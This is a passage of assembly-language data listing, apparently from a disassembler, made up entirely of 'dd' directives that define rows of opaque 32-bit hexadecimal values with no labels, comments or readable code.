		dd 0C9E5B9F1h, 58AAF655h, 66255CF3h, 6EF5541Bh,	7228F2C0h
		dd 0E1957C5Dh, 60EA4239h, 4C976C75h, 6D693D9Dh,	5748A9D7h
		dd 0E98430EFh, 0CBAA34A5h, 7DEA004Eh, 2D396E32h, 0EF1E040Fh
		dd 80D00164h, 7B29FD98h, 0FE215Eh, 1F8FC626h, 997A75Ah
		dd 5BE77586h, 0BD13E941h, 8FEBF23Bh, 7FB9B644h,	0E892A5D0h
		dd 399A4EA2h, 1334E64Ah, 968B1857h, 895B63D9h, 299BE9BBh
		dd 8BC68E0h, 0AC3FE1EEh, 0CBABF598h, 0D04613D0h, 295E1BB6h
		dd 136037F8h, 0D6EC6EC6h, 12610284h, 0BC6C12FBh, 0F1625AB5h
		dd 8E527FE8h, 0E18E7BBFh, 0C22FF9E9h, 4C5E96D7h, 7E20EB5Fh
		dd 4E476818h, 0C14B3B33h, 90637A15h, 28E3E969h,	39AA4B78h
		dd 5FE03BE5h, 0E6764ED0h, 6A631973h, 57F8EB95h,	0B47EF99Fh
		dd 6A9C03FEh, 0B7BCF901h, 53B31F5h, 0FA9DF3BCh,	0B2527C30h
		dd 0C280283Fh, 0C9CE25D2h, 2202AFAh, 0C26698D6h, 5B225750h
		dd 3EFBD05Fh, 0FB92C0BDh, 0E9EB016Ah, 2A49DC29h, 76D20AD1h
		dd 0DED440FEh, 0C278BE50h, 680116EDh, 4655627Fh, 31E9169Ch
		dd 290ADCCDh, 0B6CA83CBh, 0E93F7538h, 447AD022h, 2A06ED5h
		dd 4305E801h, 4AC1EC2Fh, 0BA055C98h, 9D8BF883h,	1CA3B4BEh
		dd 56537C9Fh, 80CB7EB5h, 92AB850h, 0F75812A1h, 0E47916A8h
		dd 0FAA4BDF8h, 68C29EA3h, 19A102EAh, 2E5FE951h,	801AABA2h
		dd 0E6076472h, 771F92D9h, 2F21FA0Ch, 40FC0B04h,	0FE66093Bh
		dd 76CFE1Bh, 0C022026Ah, 6F1625CAh, 29F17F5Bh, 5A2C4CF4h
		dd 80AFE14Eh, 90E10D44h, 25DD29D0h, 0CE81ACE9h,	7007E4C0h
		dd 0DA44D96Dh, 6007B9DDh, 73DABF57h, 0F309FE3Ch, 252A53B7h
		dd 1FAA8E48h, 0B179652Ah, 514B8B98h, 0D61921B3h, 805A10E6h
		dd 0D5F75D3Bh, 0A6263D68h, 5A55248Dh, 0D0A945C7h, 715F68BEh
		dd 7B32D23Fh, 1DE5D526h, 31227769h, 66032022h, 13819353h
		dd 0EB12F174h, 3286F874h
		dd 5BE92D18h, 6884A10Eh, 0D403B888h, 0DC563680h, 0B0500750h
		dd 62C78884h, 59E32858h, 78F6DAB2h, 55EFCB4Fh, 3B91648h
		dd 0FADC423Bh, 20E53C25h, 46478246h, 62E29E34h,	0F3201BAFh
		dd 1F7DD483h, 56DA8919h, 40AB4B18h, 2E611DAh, 9FC20504h
		dd 0F2166F7Fh, 0BCD0DDA3h, 0AEBF6607h, 0C10144F0h, 2BA8377Eh
		dd 409D67CCh, 7B386877h, 2AAF4A25h, 0A19A5C0Dh,	122A1BE9h
		dd 9378B66Fh, 0DCF03F0Bh, 5C44CFD1h, 5544EE52h,	590997C9h
		dd 0B4F65FDh, 4DC6840Ah, 7A25025Fh, 0B0B7B2BEh,	0AA2CECE9h
		dd 70CF404Ch, 0EA29C4A6h, 64F5601h, 0C412FD57h,	4C683781h
		dd 8F1EC57Ah, 0DAE93A02h, 0D787E202h, 240E424Ah, 0A1F601ADh
		dd 0A24DAC4Fh, 0F5A9E159h, 0AEE65F97h, 8C611863h, 0B1C62CACh
		dd 60201B1Fh, 65BB0FCh,	826949E2h, 0F2380E5Ch, 0E0B73CECh
		dd 0EA20980Ch, 0B8E91813h, 705A4DCh, 352D4B1Dh,	530BF242h
		dd 0E9CFE874h, 404D5BD2h, 3E37CBD7h, 0CC152FEh,	586B42A3h
		dd 18A84130h, 182FAE5Dh, 0AF7046BBh, 0EB1C559Ah, 31A66954h
		dd 75BD981Ah, 5C963CC0h, 0B703E1A6h, 18E78050h,	3C069BC0h
		dd 0F7A80306h, 0D18AC4F4h, 4222ADC6h, 41597BF7h, 8C3502B7h
		dd 0D8BA43A4h, 146812C7h, 72D88C28h, 0B4BEABCh,	0FE94DDCCh
		dd 76E1F280h, 5BA0FD2h,	449D7362h, 1463281Bh, 0A726509Fh
		dd 62776012h, 13B6CBBAh, 38FB5451h, 24972BF2h, 1EA8D0BFh
		dd 101A5E3Eh, 4582184Fh, 5404B745h, 796B6789h, 0AB215404h
		dd 0D8D99162h, 0B70992F3h, 0E925DE1Ch, 0D156E2F5h, 2CA5BDEBh
		dd 0F3400BE2h, 0C52F228Bh, 28AAF671h, 74A6028Eh, 0D2F74BE8h
		dd 0BBD92C3h, 2E2B61BBh, 8DE3DEA0h, 724A635Fh, 404EE403h
		dd 16407402h, 0F9064D1Ch, 0E90840A0h, 55B10B26h, 34CB2D87h
		dd 465E0541h, 5618C268h, 0EB89ACF1h, 19A1E0D7h,	5E54DE6Fh
		dd 5A7E4EE1h, 8F0621E6h, 594B2F0Bh, 0C2F4B6E8h,	2BE4D936h
		dd 98974CFAh, 0DF3DA664h, 20D4964Bh, 0D6587CDAh, 6080744Bh
		dd 0F3CD18BDh, 916F3E93h, 0EC0291CEh, 0C5F84921h, 0FB87CE6Ah
		dd 0DFECB614h, 355EA28Ch, 255F2DC5h, 0DD0C7854h, 0F317AFh
		dd 68D15047h, 2128BD05h, 273D144Ch, 4156E8B7h, 0BEC1C0D3h
		dd 912EE590h, 0C185429Dh, 302B5D3Eh, 9A1EE26Bh,	0E4010F4Fh
		dd 4635F5FAh, 7CA16684h, 10BA806h, 1E873E11h, 0C46BB9E9h
		dd 9DDBFBDFh, 0E9823C52h, 4E56CC1Dh, 5317266Fh,	0CBB0712h
		dd 0A5181428h, 21132492h, 8CFE57C7h, 0D8AD9E47h, 0EB35045Ah
		dd 0E07F3F77h, 332D68A9h, 59517670h, 0F1996E29h, 70EB0F55h
		dd 0F6AEE97Ch, 0D84F4182h, 0A0A705E0h, 27435074h, 5D542F1Fh
		dd 596008A0h, 15F8720Eh, 67F8BD3Eh, 0C0D79783h,	0C629CB78h
		dd 0D7260390h, 0FC523BF3h, 0EAD12FB7h, 2EC9DA69h, 9D2CC10Ah
		dd 0C232D3D0h, 0C45950F3h, 41CA888Eh, 0C0DBE9D4h, 100E3C6Bh
		dd 54A65F24h, 0C3D1EE06h, 0D44A2094h, 56760503h, 11293B0Bh
		dd 7A9B6F8h, 58611DEEh,	4E0765FFh, 279B39EBh, 0EAF31672h
		dd 0BD759191h, 68C2532Ch, 0EC7D250Fh, 1E0E9F27h, 3E723D13h
		dd 384323CBh, 1DAC9510h, 8BB9CA80h, 8E2806EAh, 7EE69C4h
		dd 222D46AFh, 3F7EF62Ah, 81745EC8h, 1D6101FAh, 2B2AA331h
		dd 65001713h, 42F1105Bh, 680625E9h, 28E08530h, 131AF63Fh
		dd 0BEE442B4h, 0F4261232h, 325CFA67h, 0D983CFC2h, 7C8360B9h
		dd 7F4E276Dh, 8072DCAh,	5DA955Dh, 0AAE8419Dh, 3916B6B2h
		dd 4C9BA6AEh, 95B3208Ch, 0C4DF6D8Bh, 0B4AEA1E3h, 71B38003h
		dd 0EF41F199h, 0DB5FC382h, 7D0C308Fh, 8D0CB31Dh, 22D176E9h
		dd 0B71895BEh, 902E5A34h, 0F001757Dh, 11B874Ch,	0E6A62DAh
		dd 476BA508h, 0F24E94F7h, 0C3478510h, 818524ABh, 491876Ch
		dd 7434F482h, 0AD5A139Eh, 870E990Fh, 48756D30h,	21A0A5CEh
		dd 40C45DEBh, 0D1041B08h, 0C881EBE7h, 5F20DFF7h, 5FD829Eh
		dd 8AA1F825h, 0F4ABFC2Fh, 5E28E200h, 0B8D16434h, 25992501h
		dd 72EB1CD6h, 0C43A5B3Ah, 4022E396h, 0F780A688h, 55402CD0h
		dd 0FEF309FBh, 669727F2h, 99681371h, 0FA2DAA01h, 89B4BC6Ah
		dd 9BB87553h, 8782BC50h, 0A9C2D331h, 82B4FA19h,	1A7AD708h
		dd 440F5675h, 69766215h, 638C2A48h, 4D5EF020h, 7D5FD382h
		dd 0C569EF59h, 86E90BECh, 4DC0BF5Eh, 9F16ED0Ch,	0DB6FE160h
		dd 0BAB2A5Bh, 0FCAB8DCFh, 16FA05CEh, 5E521BC4h,	4E8E13B4h
		dd 92BEB35Bh, 68A230EAh, 771D4CABh, 389C5D14h, 8BE37165h
		dd 0FF465BEAh, 766A3009h, 0CB60FD43h, 2C1BC7CAh, 0BC843652h
		dd 8960290Fh, 0C9815AD1h, 0A008D704h, 3E83413Fh, 407D4BEh
		dd 2CF803F1h, 9544B4A7h, 0A840C5D6h, 72F4B106h,	9B05FA04h
		dd 0B682DD89h, 8C2540F5h, 0F8524A74h, 5DD21654h, 871064EFh
		dd 0BC280017h, 0D54C092Bh, 33845B41h, 0FD252DEAh, 5E632860h
		dd 0C01468F6h, 53CC8431h, 7197CB46h, 0AF680164h, 7A31C21Ah
		dd 0C5FEE4C7h, 0FCD1E04Fh, 0B860D089h, 331613DFh, 0B528BA0Eh
		dd 0CBB2591Ch, 3AE4228h, 96F28107h, 764EA3A2h, 0C2E93C01h
		dd 3021D82Bh, 8BA106Bh,	0D4FA247Dh, 0ADA04F32h,	0E829D957h
		dd 53FA5D5Bh, 2843065Fh, 0E664CB1Ah, 5C0BC50Eh,	7F992C68h
		dd 67B989Fh, 3A1AB512h,	0EB16EDDEh, 0F7230C0Eh,	60C48D89h
		dd 2CD03A28h, 0F368267Eh, 0A99F424Ah, 0FAB85905h, 0CB7B84h
		dd 4030F605h, 4EC39AC8h, 3E60FA5Bh, 42B4786Eh, 5E084050h
		dd 0EECDE6B7h, 5C95BFh,	0EB09E1A4h, 0ED8A7EA2h,	163A3C0Dh
		dd 0EEA34E92h, 7EECB8C0h, 5044BEFh, 21D6C70Fh, 4AA7C7AEh
		dd 0E8C107E6h, 0C3C8940Ah, 0A8EDCC4Ah, 449CDF22h, 62712320h
		dd 0CCD61202h, 338C292Ch, 0BD985B2Bh, 859759BDh, 0D857D268h
		dd 4F757EC7h, 49EF325Bh, 1A5F5A29h, 95F702CAh, 0DF8C4058h
		dd 2DC12517h, 0E69FC070h, 6D681C6Bh, 0E97C4433h, 8896E038h
		dd 2A20D177h, 1414B572h, 7F4B42B5h, 6CA5E2C5h, 0E9D49F1Ch
		dd 2DA86B88h, 3C7AF548h, 0EA584BC9h, 29357A1Ah,	0BB0E9Ch
		dd 63444360h, 0BC3F9F35h, 980120BBh, 0B3A04F2h,	0C389AC79h
		dd 0E5D04D87h, 43EE2FB1h, 14090C90h, 0F60C61D2h, 17D42242h
		dd 254F1FE9h, 5E164A59h, 0C5E042BFh, 1203085Ah,	1DEEEBAh
		dd 0C1FE00DAh, 7EC35A36h, 2195DFE9h, 58F468F7h,	0DD17C766h
		dd 32419039h, 0E6A073A2h, 9CBDE4FFh, 0BF2D0525h, 8035C678h
		dd 5464E961h, 685802BEh, 0E9764061h, 0A9787F30h, 0E4147CEBh
		dd 50CDC70h, 804FE003h,	0A3E9D808h, 2CE9884Ah, 4FC42786h
		dd 87882AE0h, 0E358092h, 0DBB2024h, 58C70Bh, 0DA05D939h
		dd 0E2C1246Ah, 0FBEF0BABh, 972093CCh, 0ED801C4Ah, 62CDC91Ch
		dd 0A4AC8204h, 2D0BE6D0h, 0C0390E52h, 4A190966h, 51C8A062h
		dd 4BF5B97h, 0ABE2A620h, 1C401C0Eh, 0E5C1DC27h,	2C73B42Bh
		dd 0CB730778h, 0EF5F5A92h, 7D82F1A3h, 0EB505266h, 0D478E174h
		dd 0D1F65A00h, 0C4FECC86h, 3FF40780h, 854FB353h, 0BC9685CBh
		dd 49D5A53h, 107EBA20h,	9033EC39h, 10267D08h, 0AB826213h
		dd 6B69CE56h, 0C9C7A22Dh, 2CDDF868h, 0EBD4442Bh, 0B480A965h
		dd 4B6068A5h, 1129D02h,	59EE397Fh, 0BA49B941h, 0E47BA504h
		dd 48BDD73Fh, 97DB8E07h, 1C52859h, 0CD017C95h, 755A3A12h
		dd 1B5AD2Ah, 0F0113C2Dh, 0C1CE0153h, 0A72FC52Ch, 16D321EDh
		dd 6835C012h, 0F0257B46h, 6D10024Eh, 0B50DC61Fh, 50D705F0h
		dd 68C661ABh, 0BD438DBh
		dd 0B002CFE9h, 0BD2E263Dh, 1C4DAE98h, 55804F99h, 0C76D35BDh
		dd 29B9028h, 253A0417h,	8C5465E9h, 49A9240Fh, 0CDE0DD0Ah
		dd 5C95E54Bh, 65997179h, 0F8FC7E15h, 1943F107h,	39B91051h
		dd 46651E0Ah, 99AE591Ch, 0A6F06A1Ah, 556231B7h,	5A5F064h
		dd 24BE14AAh, 0D65C9900h, 0F7CB810Ah, 4F170E1Dh, 0CD08DB12h
		dd 686603C2h, 0A5CF458Bh, 0CC864C84h, 544A5649h, 0C427E88Dh
		dd 0B92AAA41h, 2412D3CEh, 0F416BE24h, 0F620BB06h, 0C3B90012h
		dd 812AD044h, 7C3845E1h, 500C60AAh, 16528E70h, 9162AFE9h
		dd 2C77DA5h, 7BCAC851h,	22AAC672h, 351EBDACh, 0F17F0AF1h
		dd 436862C2h, 5FE49971h, 8B13B429h, 5988F2E3h, 91899FF2h
		dd 591A75E5h, 26D778DFh, 26E1CE89h, 2996AF77h, 3B26EF26h
		dd 71552841h, 0BF69D70h, 44C22FD7h, 0BF9ED758h,	0BB5B80BCh
		dd 0C72DE085h, 11D2277Bh, 720907Eh, 67CEE917h, 68E0FEACh
		dd 5CB4184Bh, 0F735D390h, 0A5E1AB88h, 83A120h, 8141A201h
		dd 6D1EB1E2h, 0F87A3C60h, 7C790734h, 2719EC1h, 0AFD7516h
		dd 0D70EC15Dh, 0FE7B006Eh, 66012444h, 2D91097h,	0F9C73980h
		dd 0E94EF785h, 4A18ACC2h, 0A1B40DB8h, 0CD202B7Eh, 0F3548C7h
		dd 0CF017CB4h, 2408EF0Ah, 0A9F7029Fh, 0C6C19A27h, 1F2C3FFAh
		dd 54459548h, 0D0B84192h, 2BD2D4Eh, 0FD60B289h,	30C3D82Fh
		dd 0B0286EB3h, 9576045Bh, 0B704C546h, 0F8CF8037h, 8416F4AFh
		dd 0DABAE915h, 215F11BAh, 15CCA01Ah, 0AB5A4404h, 5845F17h
		dd 4A4DF7EEh, 0C7A42CABh, 0D7516648h, 0A1BB7C45h, 448839ABh
		dd 5F76B98Bh, 257884B8h, 0C85E6E7Bh, 0E54665EFh, 955898A4h
		dd 9341402h, 0DEECE20Bh, 5C7C7A90h, 267E4358h, 2576543Ah
		dd 78AF1A74h, 0F1084C3Fh, 0F74DD23Eh, 9CA0814Eh, 76BF00ECh
		dd 2BFE2420h, 0F702044Bh, 0CBE3B9D7h, 9C6FDF8h,	548211B9h
		dd 0ECB3F7E9h, 0C4DC2F73h, 571EF351h, 36ADDE56h, 0DF606F10h
		dd 0D1357149h, 78694260h, 8FA04773h, 40DD964Fh,	9F8F9EECh
		dd 6B0C8099h, 0DFC1CD41h, 7ACA4C05h, 0C108829Fh, 0B90088E7h
		dd 0D63A0DBAh, 0BBE3455h, 91300BA1h, 43F282B6h,	5BC37A97h
		dd 0D530BF5Ah, 260E53EFh, 2E5D1BBEh, 0A56861C4h, 0DBDFC205h
		dd 43E9E1E8h, 65B26BB8h, 0BFB6EE78h, 6B9D0419h,	0D2909313h
		dd 12EEC381h, 0FA38054Dh, 17200AC9h, 132F1F4Bh,	2ADF8201h
		dd 60772EE3h, 9008E81Dh, 16DD3C11h, 20CE7A28h, 64B81278h
		dd 272D2574h, 160B4475h, 9C1FAEE9h, 41977787h, 0E72F5C28h
		dd 2908D4AEh, 6842F24Fh, 9F177A07h, 41CC46FEh, 644F13D8h
		dd 0E93D0A33h, 0C8890907h, 0A1E22A54h, 0FDF14A98h, 284C83E0h
		dd 0CA5AE37Ch, 73BE4300h, 0B03A6526h, 0A0C44CE8h, 17DC2C28h
		dd 44E1BDFh, 0F132DA2h,	0C24AE456h, 4E9EF7BEh, 58BECADh
		dd 0E98931D4h, 89F476C3h, 0BF8633CFh, 0F76296D5h, 753FEB17h
		dd 0F5EB8A70h, 6E753532h, 0EA81468Bh, 0C84910AAh, 5BB71CE9h
		dd 8D79095Dh, 7BCBC5F9h, 38D026DEh, 5E5D73A0h, 581D9213h
		dd 0E35EBA90h, 0C83CC97h, 4B8E2AE9h, 45D527DEh,	150200F3h
		dd 69FA09E9h, 546BEDFFh, 807D643Bh, 7F136568h, 8ABE417Ch
		dd 91F50258h, 0DD34C14Eh, 0A1E60E58h, 658F6217h, 20B8DA0Eh
		dd 59554243h, 7A09905Dh, 1732D53h, 0F3B9606Eh, 68585440h
		dd 383B5A16h, 0E93CC8F9h, 350EE0CFh, 4BA9DE4Fh,	1886A882h
		dd 5BBEFB70h, 97515055h, 60EC413Dh, 5472E8F8h, 58BE2B48h
		dd 97135E07h, 0FAD3EEF9h, 0A08735D4h, 40346851h, 0EAE94650h
		dd 5320C0A0h, 995ED5BBh, 0EA7EE397h, 5EDC0Eh, 68D831ADh
		dd 0FC99398Dh, 53F9BABh, 6D95627Ah, 976AF704h, 0FF0F817h
		dd 0B3317617h, 0EF4DD4BAh, 0B5ED18E0h, 0A8605552h, 68505185h
		dd 7B2C131Ch, 35A80928h, 248B3232h, 315FD158h, 36E77CD0h
		dd 0B2415A7Ah, 5FF7E677h, 5AA3805Dh, 460BD261h,	54D364E9h
		dd 203760E7h, 28CA09D7h, 5E1607F1h, 408B03F9h, 0EF8961A2h
		dd 0F37175C1h, 5E544709h, 0E9F5FC53h, 0E984E751h, 62EC07F3h
		dd 3B0A6581h, 0A4D6F078h, 43CCB297h, 2F14DE1Bh,	9F6A2809h
		dd 0B5B2F00Bh, 0D2808277h, 7B1DD59h, 0E0207E89h, 82DFD4E9h
		dd 4E00CF09h, 0E281492Fh, 0A16FC01h, 0C1ACE90Fh, 38FB5397h
		dd 669F5AB6h, 0CA012610h, 0B30102Dh, 6E3C1h, 0ED90BF11h
		dd 9FA9C21h, 1ED5993Ch,	0FF665F8Fh, 9FA22A44h, 0E436F116h
		dd 205A1C3Fh, 9F08F8E0h, 36C8E80Fh, 0A49EBB0Fh,	1FFB38FDh
		dd 449456F9h, 0BED4B718h, 40C8382Ch, 0B27E2CD7h, 0F828691Dh
		dd 52F076BAh, 0F0C9B650h, 914A5A7Ah, 0CCAD6D16h, 22A6E982h
		dd 7EC26F56h, 0E551DFB8h, 0CF53AFh, 57024932h, 366BF681h
		dd 8D25B0Dh, 1928AC7Bh,	0C376710Fh, 0D3EE6619h,	0F680117h
		dd 5B7DB312h, 0C4006E21h, 0F6BB9AF7h, 8CE9132Bh, 9348F2BCh
		dd 2B9F7DBBh, 0D50068F9h, 685E292Eh, 199D072Fh,	10F0F3BAh
		dd 83532D1Fh, 0EE80885Ah, 0F7241CB7h, 904A355h,	3D87122Bh
		dd 0BF00DF84h, 3E477F57h, 400BB960h, 4EE9F929h,	30610B39h
		dd 0BD25402h, 923F4451h, 8EFFCF60h, 78257FBBh, 0F6BF910Ch
		dd 13A1D5E6h, 6A42FB68h, 0E5A21167h, 0CC56666h,	1090E953h
		dd 0B2EC5412h, 5DF8E297h, 0E682E01Eh, 0B5BE7D7h, 65D49D17h
		dd 246D35Ah, 0D77FE955h, 25A7955h, 671B1879h, 0DBF8EE62h
		dd 0D1B75F4Ah, 0E985D7D0h, 4A43BCBDh, 0CB685E44h, 3FDEB2ACh
		dd 0CB5F19D9h, 0F28916D6h, 4AD51409h, 9E517551h, 35647749h
		dd 959DDD20h, 1D40D942h, 0D8B96F44h, 4F8FF501h,	3FF0223Eh
		dd 0BB5794DEh, 0DDD9F79Bh, 33C1F9E9h, 0E3F24015h, 3A2D3496h
		dd 0EB4480D5h, 12659640h, 0F538E948h, 79C8EE95h, 0CB1C2CBEh
		dd 1FEC0162h, 0A3F81512h, 96954FB6h, 3325A68Dh,	0C51B9B7Fh
		dd 806943B9h, 0BD55C63Bh, 5C8E09C8h, 89040466h,	0AF0ED41Dh
		dd 0C34E6504h, 67AAF6BBh, 14056807h, 56876BA9h,	0A01C355h
		dd 3FDC7734h, 0F90A2CBEh, 9ACC134Fh, 31485E38h,	6F2556B2h
		dd 575F2C9Ah, 0BDC1FEA5h, 83DCD930h, 0B7CC9FB0h, 7CA708A4h
		dd 0C2947F2Dh, 5B78CA80h, 0F445BC27h, 0ED3A08A0h, 0F2D628AFh
		dd 0A2E94214h, 3FF83F8h, 0F1B74E07h, 9B136AD9h,	779C38AAh
		dd 0E57C68EFh, 3981C674h, 11E93AD6h, 9980187Dh,	5E3BAE60h
		dd 0B1C4239Ch, 0B7BE33B0h, 0FCD210CBh, 8100EBF8h, 6145ADF2h
		dd 0FAD6316Ah, 0D0C74A95h, 360A7296h, 0CCA0504Bh, 5538E7D1h
		dd 0C7810A60h, 4516A6CBh, 72802169h, 2D1C58F6h,	0F2DC16C0h
		dd 12576D0Bh, 88F056FFh, 0D112AD66h, 2202F71Eh,	0D0028006h
		dd 4E58F0DCh, 6A7CBE9Dh, 0E8962DE9h, 5B6F90FDh,	9EECB950h
		dd 44BE5F56h, 0BB5E05F3h, 0E9CCE5E1h, 11870C48h, 53B0D6F7h
		dd 10C8E412h, 0EA19C0FBh, 862D76B2h, 832A809h, 0A4FFE909h
		dd 9380521Eh, 7C0873F5h, 34CA4934h, 5F16809h, 98C4C454h
		dd 1C5DCBF0h, 0FD58C129h, 13FEAD50h, 485346h, 0CC039344h
		dd 0F9510156h, 0FB080589h, 5D25D2E7h, 0E9BEB877h, 77BE692Ah
		dd 5436E5DEh, 7F80B874h, 60579E8Fh, 516D1105h, 0B09BB31h
		dd 8B7EEB29h, 5BDD0B9Fh, 0B5E55D55h, 4B889FAEh,	681D309Bh
		dd 0DC913273h, 1610D9AFh, 361C0852h, 0F9125F17h, 57502262h
		dd 0F497279Ch, 0C044972Bh, 31C2586h, 35126101h,	3CCB48D4h
		dd 323426FDh, 0C459F028h, 5B6366Ch, 75A8EA31h, 2EA401D2h
		dd 2B5A235Eh, 0F1FC64B1h
		dd 635C1E70h, 24100C2Ah, 683B5828h, 97F8DC65h, 9F5B5AF8h
		dd 278658FEh, 0D8DDDC07h, 7B6005E9h, 0F84C741h,	9F5AF228h
		dd 0C65260FCh, 0A10D20BAh, 6C98BD05h, 27FB858Bh, 0A599F479h
		dd 724ED357h, 0A35A21E9h, 5521B431h, 5FEED468h,	0DC251BE5h
		dd 10B77C94h, 0B41DBD01h, 0EE31653Ch, 0B35B2CC2h, 3D762EF6h
		dd 1B49C0BEh, 507E2B43h, 0A1A694B6h, 0F5CE830Bh, 0D495129Ch
		dd 6D70C045h, 0BE047DCFh, 78B3566Ah, 170FB8ABh,	0DCDA534Ah
		dd 1C0F624Fh, 5C5AB970h, 41A8E4CCh, 66294082h, 62408B75h
		dd 6B61FC02h, 5AE0A2ABh, 0C082DCC7h, 0BD86C389h, 0B52F3F4Ch
		dd 58DCB1E0h, 227F11C9h, 0B9009900h, 0FFF45BE7h, 29C5BB39h
		dd 91EFC2D8h, 0EBC0B4A3h, 63FDFEDAh, 0DC20F844h, 6D68145Bh
		dd 0B1C2EB06h, 705F6670h, 3EE913D8h, 98FC20CDh,	495BA94Ah
		dd 0C493D0F8h, 490C1D05h, 0B55A4CC5h, 0F3972CF0h, 0F18E3263h
		dd 4C5E89D7h, 0E0505075h, 0B07495BCh, 0F5F842h,	9F9C4735h
		dd 41501425h, 0DDD4977Bh, 54E91973h, 7F304E7Ch,	0BFB75B0Ah
		dd 8A03D1A4h, 2D1DA77Eh, 79FEA616h, 0CC2DAD60h,	5EA4FA6Ch
		dd 173BB4D6h, 7F683209h, 0E0559B25h, 0E871DEBAh, 26EB9552h
		dd 0C2E5AD3h, 0E20486D2h, 0A8C21499h, 0A1BA0095h, 57E4C005h
		dd 80C9FBA1h, 12F9BD7Ah, 9B293E67h, 68538072h, 0FBDB1939h
		dd 42AFB95h, 0FF295BD8h, 4D439241h, 7A4807h, 137032BEh
		dd 9C5556E9h, 4EC73EB8h, 25AAA995h, 25BDC07Eh, 377F8C93h
		dd 55BD4F25h, 7DFA6AE4h, 542CED2Fh, 250CE898h, 4605447Eh
		dd 41BE586Bh, 8B5F5AA6h, 0F69B6B04h, 460E4049h,	0AA36FFDDh
		dd 0CB2971D8h, 11E0B3AAh, 0C278FE5Ch, 0DAC52F25h, 0BD3A77B2h
		dd 6890C94Eh, 0FA93719Eh, 8A7F5EA1h, 2492125Eh,	0AA799DC9h
		dd 8AC63E81h, 0F8846E36h, 9725CF0Fh, 5C8B76B3h,	8C5A5076h
		dd 604766E4h, 2548ACD4h, 0A0055CBh, 68F2D1Bh, 58218AB5h
		dd 0A72081C7h, 7DC6609Dh, 0E1BDCF52h, 0D5B260C5h, 5FD4AC0Dh
		dd 0DB8687FDh, 0F1B73DA0h, 0F0AE139Dh, 0A20FBF0Ch, 44033219h
		dd 75BB25D6h, 69678008h, 0C163468h, 830AC601h, 21027318h
		dd 54495B54h, 0DE8F89EBh, 0F47A7356h, 0D2555ADCh, 975A203Fh
		dd 9326E097h, 17BA8068h, 0D88D3839h, 0F4F09AFh,	0F16784C7h
		dd 1A44E252h, 2E599F4h,	0C8A54AFFh, 9718DD32h, 1A2F364Dh
		dd 0C347573Fh, 83BB5307h, 4068EB82h, 246B1A9Ch,	285450Ch
		dd 92109069h, 3A89AE4Ah, 7C21DAF6h, 0D83F49ACh,	32E6D0D7h
		dd 0E0E095E2h, 8019BC23h, 0C395455Ah, 0DDF7A152h, 92159E81h
		dd 7E2DF3D6h, 0E435BF21h, 687CECA5h, 187A6B05h,	0ABF317BBh
		dd 3B4A1061h, 0FC56F2Ch, 455F269h, 7E09E956h, 7F738DFFh
		dd 0B6F204F0h, 15DD255Fh, 1679A7AAh, 7CF3298Ah,	5AE16B0Bh
		dd 0CB21205Dh, 42972EA0h, 9277473Dh, 0EA28812h,	97F2AE8Bh
		dd 0D05EF225h, 60E0F6C5h, 0EDC22DD9h, 0BA58C628h, 14C50A23h
		dd 3109A474h, 0CB5AF669h, 5E2451F9h, 4429CF00h,	0BFD11018h
		dd 9492907h, 3AD9CFFh, 713340Dh, 8194D031h, 64A8F72Ah
		dd 41163820h, 0CA007DD5h, 43596B81h, 0E77227E9h, 83143C52h
		dd 14D95CDEh, 5D45DEBh,	3BBF4A09h, 8F009h, 0D4233342h
		dd 0E94D0946h, 57A9B6DAh, 0CA303268h, 1AC24FDFh, 0E0297B44h
		dd 0D731C9Fh, 0D901642Ah, 5208071Ch, 4457DB57h,	275B06D9h
		dd 904D1D43h, 6768CC0Ch, 1F330C17h, 6D2B2573h, 0F01AA664h
		dd 0D7FE8404h, 75B64502h, 0F89E9376h, 0CECEFD89h, 5E4DF61Bh
		dd 0CF2CEBE7h, 9D37FE51h, 0E0D10D83h, 408D5FBBh, 18F0F6B6h
		dd 293EDD66h, 0F3A59BF7h, 9558A946h, 4FC76781h,	3B155363h
		dd 0B8071CBDh, 0A0201970h, 7E391C25h, 515B767Fh, 32BAD281h
		dd 3C6507E8h, 50A8C283h, 6F1C20FFh, 0DCF9312Dh,	0A2E57A8Ch
		dd 3B096828h, 0D723415Dh, 0F386006h, 7083896h, 0A9661780h
		dd 64A04BF6h, 0ADBE40D0h, 0AD7524C8h, 0E7635774h, 0EEE30094h
		dd 0A2C21A7h, 0DE7EF746h, 0DA9ED22Eh, 0F59780C9h, 9D418010h
		dd 4A086ED0h, 25A3ADE9h, 0AF09B97Ah, 93F9444h, 0F77A2967h
		dd 0B8009167h, 1A0A620Eh, 0F9414BE9h, 90E23B92h, 681C07D7h
		dd 4D697B6h, 16140805h,	754036A1h, 488862B2h, 7F053B67h
		dd 1C4B6C42h, 0A168419Bh, 21CD2993h, 79794618h,	0DD85E915h
		dd 0E3C11283h, 0EB1410A8h, 0F71B9946h, 7C218D3h, 0E24BD623h
		dd 50427789h, 905F92C2h, 2821590Ah, 0BEB35EF0h,	31273BDEh
		dd 89252916h, 389252D9h, 0EE4E3D3Bh, 0FA2A9139h, 67EFFC60h
		dd 3C112468h, 0BFCD1F41h, 94EA5AA5h, 41C080Dh, 0BC348514h
		dd 0D1FFB583h, 493EEE4h, 0F4588281h, 0EB5B0C97h, 0B75C073Ch
		dd 0E925FCE6h, 577E19Fh, 0F0A8B87Ah, 0BC86E955h, 0E04F12B8h
		dd 4EE8C7EFh, 5789830Bh, 922EE55Dh, 5F1EC2CBh, 9C2A8075h
		dd 0B5388971h, 0D1EA88F0h, 5865C2BEh, 32C8FB01h, 0AB2A4A9Dh
		dd 0B0B27E27h, 0DFC4F5DEh, 41F5681Ch, 0F016F72Dh, 5A95CB92h
		dd 0F6CCF975h, 9EEECC2h, 0BB38E901h, 62600E68h,	10AB3958h
		dd 8009D44Dh, 810F9FEBh, 0C9BF4AF0h, 2BC9F18Dh,	460B4149h
		dd 0E460251Bh, 152F3CDAh, 7D6D12D6h, 0EEE24971h, 14149990h
		dd 49084A17h, 1648E477h, 6111CC68h, 0CC273721h,	0E7090546h
		dd 55E26350h, 997CD709h, 21234B3Bh, 6332C954h, 0AA2A0275h
		dd 57ABC54h, 0D6F75BDEh, 0D1A7C2BBh, 0BE0106F6h, 34E5488h
		dd 9E681C8h, 3AA70979h,	0FBEDCD05h, 41B4418Ch, 0EFEC14F1h
		dd 0A1C5EB84h, 14545FFFh, 8279A0FAh, 352262AAh,	0B048E80Ah
		dd 3A5AFE2Dh, 0C78312ADh, 89A32621h, 95BDE9A8h,	42C276B5h
		dd 23DF0807h, 0FFCFA8Dh, 44D45DB9h, 5624EBF3h, 7F07F8C2h
